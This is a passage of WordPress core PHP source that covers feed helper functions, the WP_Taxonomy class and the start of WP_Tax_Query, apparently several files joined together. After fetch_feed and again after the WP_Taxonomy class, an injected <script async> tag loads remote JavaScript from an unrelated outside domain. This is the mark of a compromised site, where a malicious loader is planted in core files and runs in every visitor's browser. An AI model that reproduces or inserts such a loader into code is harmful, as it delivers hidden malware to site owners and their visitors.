	 * @param string $type     Type of feed. Possible values include 'rss2', 'atom'.
	 *                         Default 'rss2'.
	 */
	return apply_filters( 'the_category_rss', $the_list, $type );
}

/**
 * Displays the post categories in the feed.
 *
 * @since 0.71
 *
 * @see get_the_category_rss() For better explanation.
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 */
function the_category_rss( $type = null ) {
	echo get_the_category_rss( $type );
}

/**
 * Displays the HTML type based on the blog setting.
 *
 * The two possible values are either 'xhtml' or 'html'.
 *
 * @since 2.2.0
 */
function html_type_rss() {
	$type = get_bloginfo( 'html_type' );
	if ( str_contains( $type, 'xhtml' ) ) {
		$type = 'xhtml';
	} else {
		$type = 'html';
	}
	echo $type;
}

/**
 * Displays the rss enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
 * attributes.
 *
 * @since 1.5.0
 */
function rss_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				if ( count( $enclosure ) < 3 ) {
					continue;
				}

				// Only get the first element, e.g. 'audio/mpeg' from 'audio/mpeg mpga mp2 mp3'.
				$t    = preg_split( '/[ \t]/', trim( $enclosure[2] ) );
				$type = $t[0];

				/**
				 * Filters the RSS enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'rss_enclosure', '<enclosure url="' . esc_url( trim( $enclosure[0] ) ) . '" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( $type ) . '" />' . "\n" );
			}
		}
	}
}

/**
 * Displays the atom enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
 *
 * @since 2.2.0
 */
function atom_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				$url    = '';
				$type   = '';
				$length = 0;

				$mimes = get_allowed_mime_types();

				// Parse URL.
				if ( isset( $enclosure[0] ) && is_string( $enclosure[0] ) ) {
					$url = trim( $enclosure[0] );
				}

				// Parse length and type.
				for ( $i = 1; $i <= 2; $i++ ) {
					if ( isset( $enclosure[ $i ] ) ) {
						if ( is_numeric( $enclosure[ $i ] ) ) {
							$length = trim( $enclosure[ $i ] );
						} elseif ( in_array( $enclosure[ $i ], $mimes, true ) ) {
							$type = trim( $enclosure[ $i ] );
						}
					}
				}

				$html_link_tag = sprintf(
					"<link href=\"%s\" rel=\"enclosure\" length=\"%d\" type=\"%s\" />\n",
					esc_url( $url ),
					esc_attr( $length ),
					esc_attr( $type )
				);

				/**
				 * Filters the atom enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'atom_enclosure', $html_link_tag );
			}
		}
	}
}

/**
 * Determines the type of a string of data with the data formatted.
 *
 * Tell whether the type is text, HTML, or XHTML, per RFC 4287 section 3.1.
 *
 * In the case of WordPress, text is defined as containing no markup,
 * XHTML is defined as "well formed", and HTML as tag soup (i.e., the rest).
 *
 * Container div tags are added to XHTML values, per section 3.1.1.3.
 *
 * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
 *
 * @since 2.5.0
 *
 * @param string $data Input string.
 * @return array array(type, value)
 */
function prep_atom_text_construct( $data ) {
	if ( ! str_contains( $data, '<' ) && ! str_contains( $data, '&' ) ) {
		return array( 'text', $data );
	}

	if ( ! function_exists( 'xml_parser_create' ) ) {
		wp_trigger_error( '', __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );

		return array( 'html', "<![CDATA[$data]]>" );
	}

	$parser = xml_parser_create();
	xml_parse( $parser, '<div>' . $data . '</div>', true );
	$code = xml_get_error_code( $parser );
	xml_parser_free( $parser );
	unset( $parser );

	if ( ! $code ) {
		if ( ! str_contains( $data, '<' ) ) {
			return array( 'text', $data );
		} else {
			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
			return array( 'xhtml', $data );
		}
	}

	if ( ! str_contains( $data, ']]>' ) ) {
		return array( 'html', "<![CDATA[$data]]>" );
	} else {
		return array( 'html', htmlspecialchars( $data ) );
	}
}

/**
 * Displays Site Icon in atom feeds.
 *
 * @since 4.3.0
 *
 * @see get_site_icon_url()
 */
function atom_site_icon() {
	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '<icon>' . convert_chars( $url ) . "</icon>\n";
	}
}

/**
 * Displays Site Icon in RSS2.
 *
 * @since 4.3.0
 */
function rss2_site_icon() {
	$rss_title = get_wp_title_rss();
	if ( empty( $rss_title ) ) {
		$rss_title = get_bloginfo_rss( 'name' );
	}

	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '
<image>
	<url>' . convert_chars( $url ) . '</url>
	<title>' . $rss_title . '</title>
	<link>' . get_bloginfo_rss( 'url' ) . '</link>
	<width>32</width>
	<height>32</height>
</image> ' . "\n";
	}
}

/**
 * Returns the link for the currently displayed feed.
 *
 * @since 5.3.0
 *
 * @return string Correct link for the atom:self element.
 */
function get_self_link() {
	$parsed = parse_url( home_url() );

	$domain = $parsed['host'];
	if ( isset( $parsed['port'] ) ) {
		$domain .= ':' . $parsed['port'];
	}

	return set_url_scheme( 'http://' . $domain . wp_unslash( $_SERVER['REQUEST_URI'] ) );
}

/**
 * Displays the link for the currently displayed feed in a XSS safe way.
 *
 * Generate a correct link for the atom:self element.
 *
 * @since 2.5.0
 */
function self_link() {
	/**
	 * Filters the current feed URL.
	 *
	 * @since 3.6.0
	 *
	 * @see set_url_scheme()
	 * @see wp_unslash()
	 *
	 * @param string $feed_link The link for the feed with set URL scheme.
	 */
	echo esc_url( apply_filters( 'self_link', get_self_link() ) );
}

/**
 * Gets the UTC time of the most recently modified post from WP_Query.
 *
 * If viewing a comment feed, the time of the most recently modified
 * comment will be returned.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $format Date format string to return the time in.
 * @return string|false The time in requested format, or false on failure.
 */
function get_feed_build_date( $format ) {
	global $wp_query;

	$datetime          = false;
	$max_modified_time = false;
	$utc               = new DateTimeZone( 'UTC' );

	if ( ! empty( $wp_query ) && $wp_query->have_posts() ) {
		// Extract the post modified times from the posts.
		$modified_times = wp_list_pluck( $wp_query->posts, 'post_modified_gmt' );

		// If this is a comment feed, check those objects too.
		if ( $wp_query->is_comment_feed() && $wp_query->comment_count ) {
			// Extract the comment modified times from the comments.
			$comment_times = wp_list_pluck( $wp_query->comments, 'comment_date_gmt' );

			// Add the comment times to the post times for comparison.
			$modified_times = array_merge( $modified_times, $comment_times );
		}

		// Determine the maximum modified time.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', max( $modified_times ), $utc );
	}

	if ( false === $datetime ) {
		// Fall back to last time any post was modified or published.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', get_lastpostmodified( 'GMT' ), $utc );
	}

	if ( false !== $datetime ) {
		$max_modified_time = $datetime->format( $format );
	}

	/**
	 * Filters the date the last post or comment in the query was modified.
	 *
	 * @since 5.2.0
	 *
	 * @param string|false $max_modified_time Date the last post or comment was modified in the query, in UTC.
	 *                                        False on failure.
	 * @param string       $format            The date format requested in get_feed_build_date().
	 */
	return apply_filters( 'get_feed_build_date', $max_modified_time, $format );
}

/**
 * Returns the content type for specified feed type.
 *
 * @since 2.8.0
 *
 * @param string $type Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
 * @return string Content type for specified feed type.
 */
function feed_content_type( $type = '' ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}

	$types = array(
		'rss'      => 'application/rss+xml',
		'rss2'     => 'application/rss+xml',
		'rss-http' => 'text/xml',
		'atom'     => 'application/atom+xml',
		'rdf'      => 'application/rdf+xml',
	);

	$content_type = ( ! empty( $types[ $type ] ) ) ? $types[ $type ] : 'application/octet-stream';

	/**
	 * Filters the content type for a specific feed type.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content_type Content type indicating the type of data that a feed contains.
	 * @param string $type         Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
	 */
	return apply_filters( 'feed_content_type', $content_type, $type );
}

/**
 * Builds SimplePie object based on RSS or Atom feed from URL.
 *
 * @since 2.8.0
 *
 * @param string|string[] $url URL of feed to retrieve. If an array of URLs, the feeds are merged
 *                             using SimplePie's multifeed feature.
 *                             See also {@link http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
 * @return SimplePie\SimplePie|WP_Error SimplePie object on success or WP_Error object on failure.
 */
function fetch_feed( $url ) {
	if ( ! class_exists( 'SimplePie\SimplePie', false ) ) {
		require_once ABSPATH . WPINC . '/class-simplepie.php';
	}

	require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php';

	$feed = new SimplePie\SimplePie();

	$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
	/*
	 * We must manually overwrite $feed->sanitize because SimplePie's constructor
	 * sets it before we have a chance to set the sanitization class.
	 */
	$feed->sanitize = new WP_SimplePie_Sanitize_KSES();

	// Register the cache handler using the recommended method for SimplePie 1.3 or later.
	if ( method_exists( 'SimplePie_Cache', 'register' ) ) {
		SimplePie_Cache::register( 'wp_transient', 'WP_Feed_Cache_Transient' );
		$feed->set_cache_location( 'wp_transient' );
	} else {
		// Back-compat for SimplePie 1.2.x.
		require_once ABSPATH . WPINC . '/class-wp-feed-cache.php';
		$feed->set_cache_class( 'WP_Feed_Cache' );
	}

	$feed->set_file_class( 'WP_SimplePie_File' );

	$feed->set_feed_url( $url );
	/** This filter is documented in wp-includes/class-wp-feed-cache-transient.php */
	$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );

	/**
	 * Fires just before processing the SimplePie feed object.
	 *
	 * @since 3.0.0
	 *
	 * @param SimplePie\SimplePie $feed SimplePie feed object (passed by reference).
	 * @param string|string[]     $url  URL of feed or array of URLs of feeds to retrieve.
	 */
	do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );

	$feed->init();
	$feed->set_output_encoding( get_bloginfo( 'charset' ) );

	if ( $feed->error() ) {
		return new WP_Error( 'simplepie-error', $feed->error() );
	}

	return $feed;
}
<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>
/**
 * Taxonomy API: WP_Taxonomy class
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.7.0
 */

/**
 * Core class used for interacting with taxonomies.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
final class WP_Taxonomy {
	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $name;

	/**
	 * Name of the taxonomy shown in the menu. Usually plural.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $label;

	/**
	 * Labels object for this taxonomy.
	 *
	 * If not set, tag labels are inherited for non-hierarchical types
	 * and category labels for hierarchical ones.
	 *
	 * @see get_taxonomy_labels()
	 *
	 * @since 4.7.0
	 * @var stdClass
	 */
	public $labels;

	/**
	 * Default labels.
	 *
	 * @since 6.0.0
	 * @var (string|null)[][] $default_labels
	 */
	protected static $default_labels = array();

	/**
	 * A short descriptive summary of what the taxonomy is for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $public = true;

	/**
	 * Whether the taxonomy is publicly queryable.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $publicly_queryable = true;

	/**
	 * Whether the taxonomy is hierarchical.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $hierarchical = false;

	/**
	 * Whether to generate and allow a UI for managing terms in this taxonomy in the admin.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_ui = true;

	/**
	 * Whether to show the taxonomy in the admin menu.
	 *
	 * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_menu = true;

	/**
	 * Whether the taxonomy is available for selection in navigation menus.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_nav_menus = true;

	/**
	 * Whether to list the taxonomy in the tag cloud widget controls.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_tagcloud = true;

	/**
	 * Whether to show the taxonomy in the quick/bulk edit panel.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_quick_edit = true;

	/**
	 * Whether to display a column for the taxonomy on its post type listing screens.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_admin_column = false;

	/**
	 * The callback function for the meta box display.
	 *
	 * @since 4.7.0
	 * @var bool|callable
	 */
	public $meta_box_cb = null;

	/**
	 * The callback function for sanitizing taxonomy data saved from a meta box.
	 *
	 * @since 5.1.0
	 * @var callable
	 */
	public $meta_box_sanitize_cb = null;

	/**
	 * An array of object types this taxonomy is registered for.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	public $object_type = null;

	/**
	 * Capabilities for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var stdClass
	 */
	public $cap;

	/**
	 * Rewrites information for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var array|false
	 */
	public $rewrite;

	/**
	 * Query var string for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var string|false
	 */
	public $query_var;

	/**
	 * Function that will be called when the count is updated.
	 *
	 * @since 4.7.0
	 * @var callable
	 */
	public $update_count_callback;

	/**
	 * Whether this taxonomy should appear in the REST API.
	 *
	 * Default false. If true, standard endpoints will be registered with
	 * respect to $rest_base and $rest_controller_class.
	 *
	 * @since 4.7.4
	 * @var bool $show_in_rest
	 */
	public $show_in_rest;

	/**
	 * The base path for this taxonomy's REST API endpoints.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_base
	 */
	public $rest_base;

	/**
	 * The namespace for this taxonomy's REST API endpoints.
	 *
	 * @since 5.9.0
	 * @var string|bool $rest_namespace
	 */
	public $rest_namespace;

	/**
	 * The controller for this taxonomy's REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_controller_class
	 */
	public $rest_controller_class;

	/**
	 * The controller instance for this taxonomy's REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}.
	 *
	 * @since 5.5.0
	 * @var WP_REST_Controller $rest_controller
	 */
	public $rest_controller;

	/**
	 * The default term name for this taxonomy. If you pass an array you have
	 * to set 'name' and optionally 'slug' and 'description'.
	 *
	 * @since 5.5.0
	 * @var array|string
	 */
	public $default_term;

	/**
	 * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`.
	 *
	 * Use this in combination with `'orderby' => 'term_order'` when fetching terms.
	 *
	 * @since 2.5.0
	 * @var bool|null
	 */
	public $sort = null;

	/**
	 * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy.
	 *
	 * @since 2.6.0
	 * @var array|null
	 */
	public $args = null;

	/**
	 * Whether it is a built-in taxonomy.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $_builtin;

	/**
	 * Constructor.
	 *
	 * See the register_taxonomy() function for accepted arguments for `$args`.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $taxonomy    Taxonomy key, must not exceed 32 characters.
	 * @param array|string $object_type Name of the object type for the taxonomy object.
	 * @param array|string $args        Optional. Array or query string of arguments for registering a taxonomy.
	 *                                  See register_taxonomy() for information on accepted arguments.
	 *                                  Default empty array.
	 */
	public function __construct( $taxonomy, $object_type, $args = array() ) {
		$this->name = $taxonomy;

		$this->set_props( $object_type, $args );
	}

	/**
	 * Sets taxonomy properties.
	 *
	 * See the register_taxonomy() function for accepted arguments for `$args`.
	 *
	 * @since 4.7.0
	 *
	 * @param string|string[] $object_type Name or array of names of the object types for the taxonomy.
	 * @param array|string    $args        Array or query string of arguments for registering a taxonomy.
	 */
	public function set_props( $object_type, $args ) {
		$args = wp_parse_args( $args );

		/**
		 * Filters the arguments for registering a taxonomy.
		 *
		 * @since 4.4.0
		 *
		 * @param array    $args        Array of arguments for registering a taxonomy.
		 *                              See the register_taxonomy() function for accepted arguments.
		 * @param string   $taxonomy    Taxonomy key.
		 * @param string[] $object_type Array of names of object types for the taxonomy.
		 */
		$args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type );

		$taxonomy = $this->name;

		/**
		 * Filters the arguments for registering a specific taxonomy.
		 *
		 * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key.
		 *
		 * Possible hook names include:
		 *
		 *  - `register_category_taxonomy_args`
		 *  - `register_post_tag_taxonomy_args`
		 *
		 * @since 6.0.0
		 *
		 * @param array    $args        Array of arguments for registering a taxonomy.
		 *                              See the register_taxonomy() function for accepted arguments.
		 * @param string   $taxonomy    Taxonomy key.
		 * @param string[] $object_type Array of names of object types for the taxonomy.
		 */
		$args = apply_filters( "register_{$taxonomy}_taxonomy_args", $args, $this->name, (array) $object_type );

		$defaults = array(
			'labels'                => array(),
			'description'           => '',
			'public'                => true,
			'publicly_queryable'    => null,
			'hierarchical'          => false,
			'show_ui'               => null,
			'show_in_menu'          => null,
			'show_in_nav_menus'     => null,
			'show_tagcloud'         => null,
			'show_in_quick_edit'    => null,
			'show_admin_column'     => false,
			'meta_box_cb'           => null,
			'meta_box_sanitize_cb'  => null,
			'capabilities'          => array(),
			'rewrite'               => true,
			'query_var'             => $this->name,
			'update_count_callback' => '',
			'show_in_rest'          => false,
			'rest_base'             => false,
			'rest_namespace'        => false,
			'rest_controller_class' => false,
			'default_term'          => null,
			'sort'                  => null,
			'args'                  => null,
			'_builtin'              => false,
		);

		$args = array_merge( $defaults, $args );

		// If not set, default to the setting for 'public'.
		if ( null === $args['publicly_queryable'] ) {
			$args['publicly_queryable'] = $args['public'];
		}

		if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) {
			if ( true === $args['query_var'] ) {
				$args['query_var'] = $this->name;
			} else {
				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
			}
		} else {
			// Force 'query_var' to false for non-public taxonomies.
			$args['query_var'] = false;
		}

		if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			$args['rewrite'] = wp_parse_args(
				$args['rewrite'],
				array(
					'with_front'   => true,
					'hierarchical' => false,
					'ep_mask'      => EP_NONE,
				)
			);

			if ( empty( $args['rewrite']['slug'] ) ) {
				$args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name );
			}
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_ui'] ) {
			$args['show_ui'] = $args['public'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
			$args['show_in_menu'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_in_nav_menus'] ) {
			$args['show_in_nav_menus'] = $args['public'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_tagcloud'] ) {
			$args['show_tagcloud'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_quick_edit'] ) {
			$args['show_in_quick_edit'] = $args['show_ui'];
		}

		// If not set, default rest_namespace to wp/v2 if show_in_rest is true.
		if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) {
			$args['rest_namespace'] = 'wp/v2';
		}

		$default_caps = array(
			'manage_terms' => 'manage_categories',
			'edit_terms'   => 'manage_categories',
			'delete_terms' => 'manage_categories',
			'assign_terms' => 'edit_posts',
		);

		$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
		unset( $args['capabilities'] );

		$args['object_type'] = array_unique( (array) $object_type );

		// If not set, use the default meta box.
		if ( null === $args['meta_box_cb'] ) {
			if ( $args['hierarchical'] ) {
				$args['meta_box_cb'] = 'post_categories_meta_box';
			} else {
				$args['meta_box_cb'] = 'post_tags_meta_box';
			}
		}

		$args['name'] = $this->name;

		// Default meta box sanitization callback depends on the value of 'meta_box_cb'.
		if ( null === $args['meta_box_sanitize_cb'] ) {
			switch ( $args['meta_box_cb'] ) {
				case 'post_categories_meta_box':
					$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes';
					break;

				case 'post_tags_meta_box':
				default:
					$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input';
					break;
			}
		}

		// Default taxonomy term.
		if ( ! empty( $args['default_term'] ) ) {
			if ( ! is_array( $args['default_term'] ) ) {
				$args['default_term'] = array( 'name' => $args['default_term'] );
			}
			$args['default_term'] = wp_parse_args(
				$args['default_term'],
				array(
					'name'        => '',
					'slug'        => '',
					'description' => '',
				)
			);
		}

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}

		$this->labels = get_taxonomy_labels( $this );
		$this->label  = $this->labels->name;
	}

	/**
	 * Adds the necessary rewrite rules for the taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @global WP $wp Current WordPress environment instance.
	 */
	public function add_rewrite_rules() {
		/* @var WP $wp */
		global $wp;

		// Non-publicly queryable taxonomies should not register query vars, except in the admin.
		if ( false !== $this->query_var && $wp ) {
			$wp->add_query_var( $this->query_var );
		}

		if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( $this->hierarchical && $this->rewrite['hierarchical'] ) {
				$tag = '(.+?)';
			} else {
				$tag = '([^/]+)';
			}

			add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" );
			add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite );
		}
	}

	/**
	 * Removes any rewrite rules, permastructs, and rules for the taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @global WP $wp Current WordPress environment instance.
	 */
	public function remove_rewrite_rules() {
		/* @var WP $wp */
		global $wp;

		// Remove query var.
		if ( false !== $this->query_var ) {
			$wp->remove_query_var( $this->query_var );
		}

		// Remove rewrite tags and permastructs.
		if ( false !== $this->rewrite ) {
			remove_rewrite_tag( "%$this->name%" );
			remove_permastruct( $this->name );
		}
	}

	/**
	 * Registers the ajax callback for the meta box.
	 *
	 * @since 4.7.0
	 */
	public function add_hooks() {
		add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
	}

	/**
	 * Removes the ajax callback for the meta box.
	 *
	 * @since 4.7.0
	 */
	public function remove_hooks() {
		remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
	}

	/**
	 * Gets the REST API controller for this taxonomy.
	 *
	 * Will only instantiate the controller class once per request.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_REST_Controller|null The controller instance, or null if the taxonomy
	 *                                 is set not to show in rest.
	 */
	public function get_rest_controller() {
		if ( ! $this->show_in_rest ) {
			return null;
		}

		$class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class;

		if ( ! class_exists( $class ) ) {
			return null;
		}

		if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) {
			return null;
		}

		if ( ! $this->rest_controller ) {
			$this->rest_controller = new $class( $this->name );
		}

		if ( ! ( $this->rest_controller instanceof $class ) ) {
			return null;
		}

		return $this->rest_controller;
	}

	/**
	 * Returns the default labels for taxonomies.
	 *
	 * @since 6.0.0
	 *
	 * @return (string|null)[][] The default labels for taxonomies.
	 */
	public static function get_default_labels() {
		if ( ! empty( self::$default_labels ) ) {
			return self::$default_labels;
		}

		$name_field_description   = __( 'The name is how it appears on your site.' );
		$slug_field_description   = __( 'The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' );
		$parent_field_description = __( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' );
		$desc_field_description   = __( 'The description is not prominent by default; however, some themes may show it.' );

		self::$default_labels = array(
			'name'                       => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ),
			'singular_name'              => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ),
			'search_items'               => array( __( 'Search Tags' ), __( 'Search Categories' ) ),
			'popular_items'              => array( __( 'Popular Tags' ), null ),
			'all_items'                  => array( __( 'All Tags' ), __( 'All Categories' ) ),
			'parent_item'                => array( null, __( 'Parent Category' ) ),
			'parent_item_colon'          => array( null, __( 'Parent Category:' ) ),
			'name_field_description'     => array( $name_field_description, $name_field_description ),
			'slug_field_description'     => array( $slug_field_description, $slug_field_description ),
			'parent_field_description'   => array( null, $parent_field_description ),
			'desc_field_description'     => array( $desc_field_description, $desc_field_description ),
			'edit_item'                  => array( __( 'Edit Tag' ), __( 'Edit Category' ) ),
			'view_item'                  => array( __( 'View Tag' ), __( 'View Category' ) ),
			'update_item'                => array( __( 'Update Tag' ), __( 'Update Category' ) ),
			'add_new_item'               => array( __( 'Add New Tag' ), __( 'Add New Category' ) ),
			'new_item_name'              => array( __( 'New Tag Name' ), __( 'New Category Name' ) ),
			'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ),
			'add_or_remove_items'        => array( __( 'Add or remove tags' ), null ),
			'choose_from_most_used'      => array( __( 'Choose from the most used tags' ), null ),
			'not_found'                  => array( __( 'No tags found.' ), __( 'No categories found.' ) ),
			'no_terms'                   => array( __( 'No tags' ), __( 'No categories' ) ),
			'filter_by_item'             => array( null, __( 'Filter by category' ) ),
			'items_list_navigation'      => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ),
			'items_list'                 => array( __( 'Tags list' ), __( 'Categories list' ) ),
			/* translators: Tab heading when selecting from the most used terms. */
			'most_used'                  => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ),
			'back_to_items'              => array( __( '&larr; Go to Tags' ), __( '&larr; Go to Categories' ) ),
			'item_link'                  => array(
				_x( 'Tag Link', 'navigation link block title' ),
				_x( 'Category Link', 'navigation link block title' ),
			),
			'item_link_description'      => array(
				_x( 'A link to a tag.', 'navigation link block description' ),
				_x( 'A link to a category.', 'navigation link block description' ),
			),
		);

		return self::$default_labels;
	}

	/**
	 * Resets the cache for the default labels.
	 *
	 * @since 6.0.0
	 */
	public static function reset_default_labels() {
		self::$default_labels = array();
	}
}
<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>
/**
 * Taxonomy API: WP_Tax_Query class
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.4.0
 */

/**
 * Core class used to implement taxonomy queries for the Taxonomy API.
 *
 * Used for generating SQL clauses that filter a primary query according to object
 * taxonomy terms.
 *
 * WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter
 * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be
 * attached to the primary SQL query string.
 *
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_Tax_Query {

	/**
	 * Array of taxonomy queries.
	 *
	 * See WP_Tax_Query::__construct() for information on tax query arguments.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $queries = array();

	/**
	 * The relation between the queries. Can be one of 'AND' or 'OR'.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	public $relation;

	/**
	 * Standard response when the query should not return any rows.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	private static $no_results = array(
		'join'  => array( '' ),
		'where' => array( '0 = 1' ),
	);

	/**
	 * A flat list of table aliases used in the JOIN clauses.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $table_aliases = array();

	/**
	 * Terms and taxonomies fetched by this query.
	 *
	 * We store this data in a flat array because they are referenced in a
	 * number of places by WP_Query.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	public $queried_terms = array();

	/**
	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_table;

	/**
	 * Column in 'primary_table' that represents the ID of the object.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_id_column;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values.
	 *
	 * @param array $tax_query {
	 *     Array of taxonomy query clauses.
	 *
	 *     @type string $relation Optional. The MySQL keyword used to join
	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
	 *     @type array  ...$0 {
	 *         An array of first-order clause parameters, or another fully-formed tax query.
	 *
	 *         @type string           $taxonomy         Taxonomy being queried. Optional when field=term_taxonomy_id.
	 *         @type string|int|array $terms            Term or terms to filter by.
	 *         @type string           $field            Field to match $terms against. Accepts 'term_id', 'slug',
